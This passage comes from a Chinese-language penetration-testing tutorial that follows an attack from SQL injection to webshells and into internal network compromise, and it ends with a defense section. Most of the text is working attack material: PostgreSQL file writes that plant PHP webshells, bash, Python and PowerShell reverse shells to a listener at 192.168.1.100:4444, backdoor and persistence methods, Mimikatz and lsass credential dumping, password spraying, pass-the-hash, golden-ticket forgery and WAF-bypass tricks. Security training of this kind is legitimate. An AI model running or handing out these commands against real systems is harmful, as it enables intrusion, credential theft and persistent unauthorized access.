([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\;如果防火墙出站规则允许这条命令会从MSSQL服务器向我们指定的监听端口反弹一个PowerShell Shell。3. PostgreSQL场景利用大对象LO或COPY TO写文件PostgreSQL的权限模型相对严格但仍有方法。高权限用户可以利用COPY TO或pg_largeobject来写文件。-- 方法1COPY TO (需要超级用户权限且对目标路径有写权限) COPY (SELECT ?php phpinfo();?) TO /var/www/html/test.php; -- 方法2利用大对象和lo_export (需要超级用户权限) SELECT lo_create(12345); INSERT INTO pg_largeobject (loid, pageno, data) VALUES (12345, 0, decode(3c3f70687020706870696e666f28293b203f3e, hex)); SELECT lo_export(12345, /var/www/html/shell.php); SELECT lo_unlink(12345);核心思路总结这一步的目标非常明确——在目标服务器上创建一个能让我们远程执行代码的文件WebShell或直接执行系统命令。成功的关键在于权限和路径信息。所有操作都围绕着我们前期从数据库里搜集到的信息展开。4. 第二阶段站稳脚跟——初始立足点的加固与信息搜集4.1 获取稳定Shell与权限维持通过WebShell拿到的初始访问往往是不稳定、低权限的。我们首先要做的是“升级”这个Shell。1. 反弹一个更稳定的ShellWebShell如一句话木马通常通过HTTP协议通信功能有限且容易被Web应用防火墙WAF或日志审计发现。我们应该尽快反弹一个到我们控制端的、功能完整的Shell如bash、powershell。在Linux上使用bash、python、perl、ncnetcat等都可以反弹。# 假设我们在192.168.1.100的4444端口监听 (nc -lvnp 4444) bash -c bash -i /dev/tcp/192.168.1.100/4444 01 # 或者用python python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.1.100,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);在Windows上使用PowerShell是最强大的。powershell -c $client New-Object System.Net.Sockets.TCPClient(192.168.1.100,4444);$stream $client.GetStream();[byte[]]$bytes 0..65535|%{0};while(($i $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback (iex $data 21 | Out-String );$sendback2 $sendback PS (pwd).Path ;$sendbyte ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()2. 权限提升提权拿到Shell后第一时间检查当前用户权限Linux下whoami、idWindows下whoami /groups。如果是普通用户就需要提权。Linux提权思路内核漏洞使用uname -a查看内核版本搜索对应的公开Exp如DirtyCow、CVE-2021-4034等。使用linux-exploit-suggester这类脚本可以辅助识别。SUID/GUID文件查找设置了SUID位的文件find / -perm -us -type f 2/dev/null看看是否有find、vim、bash、nmap等可以滥用。sudo权限检查sudo -l看当前用户能以root身份无需密码运行哪些命令。计划任务/服务检查crontab -l、systemctl list-unit-files --typeservice看是否有权限修改的任务或服务。Windows提权思路系统信息systeminfo查看系统版本、补丁用wesng等工具快速识别缺失的补丁和对应的漏洞。服务权限使用accesschk.exe或PowerUp.ps1脚本检查是否有服务配置不当如可修改的二进制文件路径、弱权限的服务目录。AlwaysInstallElevated检查注册表项如果启用任何MSI文件都以SYSTEM权限安装。令牌模拟在域环境下检查是否有机会进行令牌窃取如使用incognito或Rotten Potato系列漏洞。3. 权限维持后门为了防止管理员修改密码或重启服务导致我们失联需要种植后门。Linux添加SSH密钥到/root/.ssh/authorized_keys或/home/user/.ssh/authorized_keys创建具有SUID位的后门二进制文件修改/etc/passwd添加一个UID为0的用户或者创建计划任务cron job。Windows创建隐藏用户并加入管理员组注册表添加启动项创建计划任务部署Meterpreter的持久化Payload或者使用WMI事件订阅。重要提示在授权测试中权限维持的方式和位置需要与客户明确约定。在非授权环境中此行为违法。4.2 以立足点为中心的内网信息搜集拿到一个稳定的、最好是高权限的Shell后我们正式从“外部攻击者”转变为“内部威胁”。此时的信息搜集是系统性的。1. 网络环境侦察查看本机网络配置# Linux ifconfig / ip addr route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS服务器DNS服务器很可能是域控 arp -a # 查看ARP缓存发现同一网段的其他主机 netstat -antup # 查看网络连接和监听端口# Windows ipconfig /all route print arp -a netstat -ano探测内网网段根据本机IP如192.168.10.5和子网掩码如255.255.255.0可以推断出本网段是192.168.10.0/24。但内网可能有多个网段。可以查看路由表或者尝试扫描常见的B类内网段172.16.0.0/1210.0.0.0/8。2. 主机信息搜集系统与用户信息# Linux uname -a # 内核信息 cat /etc/*-release # 发行版信息 cat /etc/passwd # 用户列表 cat /etc/shadow # 密码哈希需要root history # 命令历史可能包含密码、路径等# Windows systeminfo net user # 本地用户 net localgroup administrators net user /domain # 域用户如果加入域 net group domain admins /domain # 域管理员组进程与服务信息查看有哪些服务在运行特别是安全软件、运维管理工具等。文件与目录扫描寻找配置文件.conf,.ini,.xml、日志文件、备份文件、数据库文件、源代码、包含密码的脚本等。重点关注Web目录、用户家目录、/tmp、C:\Users\等位置。3. 域环境判断与信息搜集如果存在如果ipconfig /all显示有DNS后缀或者net user /domain命令成功执行说明主机加入了域。获取域基本信息net view /domain # 查看域列表 net view /domain:域名 # 查看域内机器列表可能不全 nltest /dclist:域名 # 获取域控制器列表使用PowerShell进行更深入的域信息搜集需要相应权限# 导入PowerView模块 Import-Module .\PowerView.ps1 # 获取域内所有计算机 Get-NetComputer # 获取域内所有用户 Get-NetUser # 获取域内所有组 Get-NetGroup # 获取域策略 Get-DomainPolicy信息搜集清单建议将以上命令的输出结果系统性地保存下来整理成表格例如信息类别命令/方法获取结果示例潜在利用价值本机IP/网段ipconfig / ifconfig192.168.10.5/24确定扫描范围路由信息route print / route -n10.10.0.0/16 via 192.168.10.1发现其他网段DNS服务器/etc/resolv.conf/ipconfig /all192.168.10.2可能是域控IPARP缓存arp -a192.168.10.1, 192.168.10.100发现活跃主机当前用户/权限whoami / idroot/域\域管理员决定下一步动作域成员信息net user /domain成功列出域用户确认域环境开始域渗透5. 第三阶段横向移动——在内网中扩大战果5.1 存活主机与端口扫描有了初步的网络拓扑信息后下一步就是发现内网中其他存活的主机及其开放的服务。由于我们已经在内网可以绕过边界防火墙的严格限制。1. 使用内置工具进行轻量扫描ICMP Ping扫描快速发现存活主机。但很多内网主机可能禁Ping。# Linux for i in {1..254}; do ping -c 1 -W 1 192.168.10.$i | grep bytes from done # Windows PowerShell 1..254 | % {Test-Connection -Count 1 -Delay 1 192.168.10.$_ -ErrorAction SilentlyContinue}ARP扫描在二层网络中更准确、更隐蔽。# 需要安装nmap或arp-scan arp-scan --localnet # 或者用nmap nmap -sn -PR 192.168.10.0/24端口扫描针对发现的IP或整个网段进行端口扫描发现开放服务。# 快速扫描常见1000个端口 nmap -sS -T4 192.168.10.0/24 --open # 全端口扫描慢但全面 nmap -sS -T4 -p- 192.168.10.100 # 服务版本探测 nmap -sS -sV -T4 192.168.10.1002. 利用已控主机作为扫描代理如果目标内网有多个网段而我们控制的“跳板机”恰好有多个网卡或者路由可达我们可以用它作为扫描的起点。可以将扫描工具如nmap的静态编译版上传到跳板机执行或者使用SOCKS代理将我们的攻击机流量代理进内网。实操心得内网扫描要讲究节奏和隐蔽性。不要一上来就全端口疯狂扫描容易被IDS/IPS发现。可以先进行小范围的ICMP或ARP扫描再对存活IP进行低频度的常见端口扫描。同时注意扫描流量是否会被同一网段的其他安全设备如HIDS记录。5.2 服务漏洞利用与密码攻击扫描结果会列出大量开放端口如445(SMB)、3389(RDP)、22(SSH)、1433(MSSQL)、3306(MySQL)、5985/5986(WinRM)等。我们需要对这些服务进行针对性测试。1. 针对常见服务的漏洞利用SMB (445端口)检查是否存在永恒之蓝MS17-010漏洞使用msfconsole的exploit/windows/smb/ms17_010_eternalblue模块。或者检查是否启用了SMB签名在域环境中常被禁用为后续的中间人攻击做准备。RDP (3389端口)检查是否有已知的RDP漏洞如CVE-2019-0708 蓝屏漏洞。更常见的是尝试暴力破解或密码喷洒攻击。如果拿到了一个用户的密码尝试RDP登录图形化界面操作更方便。WinRM (5985/5986端口)如果启用且配置了基本认证可以尝试使用crackmapexec或evil-winrm进行密码攻击或连接。数据库服务尝试用之前从Web应用数据库里找到的密码去连接内网的其他数据库密码复用很常见。对于MSSQL再次尝试xp_cmdshell。2. 密码攻击爆破与喷洒内网渗透中密码往往是突破口。攻击方式主要有两种密码爆破针对单个用户用庞大的密码字典进行尝试。风险高易触发账户锁定策略。密码喷洒针对多个用户使用少数几个常用密码如CompanyName2023,Welcome123,SeasonYear进行尝试。风险相对较低不易触发锁定。工具推荐CrackMapExec内网渗透神器支持SMB、WinRM、MSSQL、SSH等多种协议的密码喷洒和凭证传递攻击。# SMB密码喷洒 crackmapexec smb 192.168.10.0/24 -u userlist.txt -p Spring2024! --continue-on-success # 使用已获取的哈希进行传递哈希攻击 crackmapexec smb 192.168.10.0/24 -u administrator -H NTLM哈希 --local-authMedusa/Hydra老牌的多协议爆破工具。Kerbrute专门针对Kerberos预认证的域用户密码喷洒工具效率高。3. 凭证窃取与转储如果我们已经获取了一台Windows主机的管理员权限可以尝试从内存中转储密码哈希或明文密码。Mimikatz最著名的工具。需要管理员或SYSTEM权限。privilege::debug # 提升权限 sekurlsa::logonpasswords # 从内存中提取密码和哈希 lsadump::sam # 从SAM数据库中提取本地账户哈希 lsadump::dcsync /domain:目标域 /user:域管理员 # 从域控同步指定用户凭据需要域管理员权限Procdump Mimikatz离线分析如果直接运行Mimikatz被AV拦截可以用微软官方工具Procdump将lsass.exe进程的内存转储下来下载到本地用Mimikatz分析。procdump.exe -accepteula -ma lsass.exe lsass.dmp其他工具LaZagne可以获取多种软件保存的密码。5.3 横向移动的经典模式传递哈希与票据传递在Windows域环境中尤其是旧版本或配置不严格的环境中两种攻击方式非常有效1. 传递哈希NTLM认证过程中服务器验证的是用户密码的哈希值而非密码本身。因此如果我们获取了某个用户的NTLM哈希例如通过Mimikatz即使不知道明文密码也可以使用这个哈希向其他服务进行身份验证。适用场景SMB、WinRM、RDP受限需要开启“受限管理模式”、MSSQL等协议。工具使用# 使用CrackMapExec进行SMB的Pass-the-Hash crackmapexec smb 192.168.10.20 -u administrator -H NTLM哈希 --local-auth # 使用pth-winexe获取一个交互式Shell pth-winexe -U administrator%LM哈希:NTLM哈希 //192.168.10.20 cmd.exe2. 票据传递Kerberos是Windows域默认的认证协议。用户登录后域控会颁发一个TGT票据。如果我们能获取到其他用户的TGT票据通常是高权限用户就可以冒充该用户访问域内任何服务。黄金票据需要获取krbtgt用户的NTLM哈希存储在域控上。拥有此哈希可以伪造任意用户的TGT从而访问域内任何资源权限极高。白银票据需要获取目标服务账户如CIFS$、HTTP$的NTLM哈希。可以伪造针对特定服务的ST但范围有限。工具使用Mimikatz同样可以完成票据的导出、注入和伪造。# 导出当前内存中的所有票据 sekurlsa::tickets /export # 注入一个窃取来的票据文件 kerberos::ptt [0;123456]-2-0-40e10000-Administratorkrbtgt-DOMAIN.LOCAL.kirbi # 伪造黄金票据 kerberos::golden /user:任意用户名 /domain:域名 /sid:域SID /krbtgt:krbtgt的NTLM哈希 /ptt关键点横向移动的成功率极大依赖于前期信息搜集的完整度。你知道的密码/哈希越多发现的用户越多摸清的服务越多横向移动的路径和可能性就越多。这再次印证了“渗透的本质就是信息搜集”。6. 第四阶段常见问题、排查技巧与防御思考6.1 实战中遇到的典型问题与解决思路问题1SQL注入点存在但sqlmap跑不出来手工测试有回显但复杂语句就报错或空白。可能原因存在WAFWeb应用防火墙或简单的过滤规则。排查与绕过观察拦截特征用sqlmap的--tamper参数尝试常用绕过脚本如space2comment,between,charencode等。手工FUZZ测试哪些关键词被过滤union,select,from,where,空格,引号等。尝试使用大小写混合、双写关键字UNunionION、内联注释/*!SELECT*/、换行符%0a等方式绕过。更改请求方式GET注入不行试试POST。参数在URL里不行试试在Cookie或User-Agent头里。使用非常规语句如果union select被拦尝试基于时间的盲注或报错注入。sqlmap可以指定--techniqueBEUST布尔盲注、报错、联合、时间盲注来尝试所有技术。问题2成功写入WebShell但无法访问或访问后代码不执行。可能原因路径错误文件没有写到Web目录下。文件权限不足Web服务器用户如www-data,apache无法读取或执行。目标服务器禁用了特定函数如eval,assert或者配置了open_basedir限制。文件内容被WAF或服务器安全模块过滤/篡改。排查尝试写入一个简单的文本文件SELECT test INTO OUTFILE /path/test.txt确认路径和权限。通过数据库的load_file函数如果有权限读取刚写入的文件检查内容是否完整。尝试写入不同的WebShell变种如使用?php system($_GET[c]);?或?php echo shell_exec($_GET[cmd]);?。检查Web服务器的错误日志如/var/log/apache2/error.log寻找访问失败的线索。问题3内网扫描没有发现任何存活主机或端口。可能原因主机位于不同VLAN或网段当前跳板机没有路由。内网主机普遍禁Ping。存在主机防火墙或网络ACL阻止了扫描流量。排查仔细分析跳板机的路由表route -n/route print确认是否有到其他网段的路由。使用ARP扫描arp-scan,nmap -PR替代ICMP扫描因为ARP是二层协议只要在同一广播域就有效。尝试扫描少数几个关键端口如445, 3389, 22, 135并使用更慢的扫描速度nmap -T2。检查跳板机本身的防火墙规则是否出站被限制。问题4获取的密码哈希无法破解也无法用于传递哈希攻击。可能原因密码强度很高字典破解不了。目标系统配置了“受限管理模式”或“强制签名”阻止了传递哈希攻击。获取的是LM哈希已弃用且强度低或NTLMv1哈希而目标系统要求NTLMv2。应对尝试使用更强大的规则如hashcat的-r规则文件对哈希进行破解。如果获取的是NTLM哈希但无法PTH尝试使用sekurlsa::pth生成一个带有此哈希的新登录会话然后在这个新会话里访问网络资源。关注其他攻击面如Kerberos票据、保存的浏览器密码、配置文件中的明文密码等。6.2 从攻击者视角看防御要点经历了完整的攻击链反过来看防御思路会更清晰。防御必须层层设防因为攻击者只要突破一层就能带来威胁。Web应用层根本解决使用参数化查询预编译语句或ORM框架杜绝SQL注入产生的可能性。纵深防御对用户输入进行严格的过滤和校验。部署WAF即使存在漏洞也能增加利用难度。最小权限Web应用连接数据库的账户权限必须最小化禁止授予FILE、EXECUTE等系统级权限。操作系统与数据库层及时更新为操作系统、数据库、Web服务器等所有软件及时安装安全补丁。权限分离数据库服务、Web服务不应以root或SYSTEM等高权限账户运行。强化配置禁用数据库的危险函数和存储过程如xp_cmdshell设置严格的secure_file_priv。对Web目录设置正确的读写权限。内网安全网络分段将不同的业务系统划分到不同的VLAN或子网并配置严格的访问控制列表遵循最小权限原则。数据库服务器、域控制器等核心资产不应能从Web服务器直接访问。主机防护在所有终端和服务器上部署EDR或HIDS监控异常进程、网络连接和文件操作。身份与访问管理强制使用强密码策略并定期更换。启用账户锁定策略防止暴力破解。在域环境中启用Kerberos AES加密禁用NTLMv1启用SMB签名配置“受限管理模式”防止传递哈希。严格管理本地管理员和域管理员权限遵循最小权限原则。监控与审计集中收集和分析系统日志、安全设备日志、网络流量日志。对异常登录如非工作时间、陌生地点、横向移动行为如SMB、WMI的异常连接、特权账户的使用进行实时告警。整个从SQL注入到内网渗透的过程就像一场信息拼图游戏。每一个漏洞、每一段信息都是拼图的一块。作为防御方你的目标就是让攻击者拿不到关键的那几块拼图或者即使拿到一两块也无法拼出完整的路径。而作为学习者和实践者理解这完整的链条能让你在发现一个漏洞时看得更远想得更深真正把握住渗透测试中“信息搜集”这一贯穿始终的灵魂。